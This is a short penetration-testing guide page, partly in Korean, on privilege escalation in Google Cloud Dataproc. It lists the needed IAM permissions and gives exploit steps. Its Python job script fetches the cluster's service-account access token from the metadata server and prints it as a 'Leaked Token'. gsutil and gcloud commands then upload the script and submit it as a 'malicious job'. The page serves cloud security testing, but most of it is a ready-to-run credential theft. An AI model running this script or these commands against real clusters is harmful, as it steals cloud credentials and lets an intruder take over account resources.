GCP Dataproc Privilege Escalation

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Dataproc

GCP - Dataproc Enum

dataproc.clusters.get, dataproc.clusters.use, dataproc.jobs.create, dataproc.jobs.get, dataproc.jobs.list, storage.objects.create, storage.objects.get

이 방법을 사용하여 리버스 셸을 얻는 것은 불가능했지만, 아래에 설명된 방법을 사용하여 메타데이터 엔드포인트에서 SA 토큰을 유출할 수 있습니다.

Exploit 단계

• GCP 버킷에 작업 스크립트를 배치합니다.

• Dataproc 클러스터에 작업을 제출합니다.

• 작업을 사용하여 메타데이터 서버에 접근합니다.

• 클러스터에서 사용되는 서비스 계정 토큰을 유출합니다.

import requests

metadata_url = "http://metadata/computeMetadata/v1/instance/service-accounts/default/token"
headers = {"Metadata-Flavor": "Google"}

def fetch_metadata_token():
try:
response = requests.get(metadata_url, headers=headers, timeout=5)
response.raise_for_status()
token = response.json().get("access_token", "")
print(f"Leaked Token: {token}")
return token
except Exception as e:
print(f"Error fetching metadata token: {e}")
return None

if __name__ == "__main__":
fetch_metadata_token()

# Copy the script to the storage bucket
gsutil cp <python-script> gs://<bucket-name>/<python-script>

# Submit the malicious job
gcloud dataproc jobs submit pyspark gs://<bucket-name>/<python-script> \
--cluster=<cluster-name> \
--region=<region>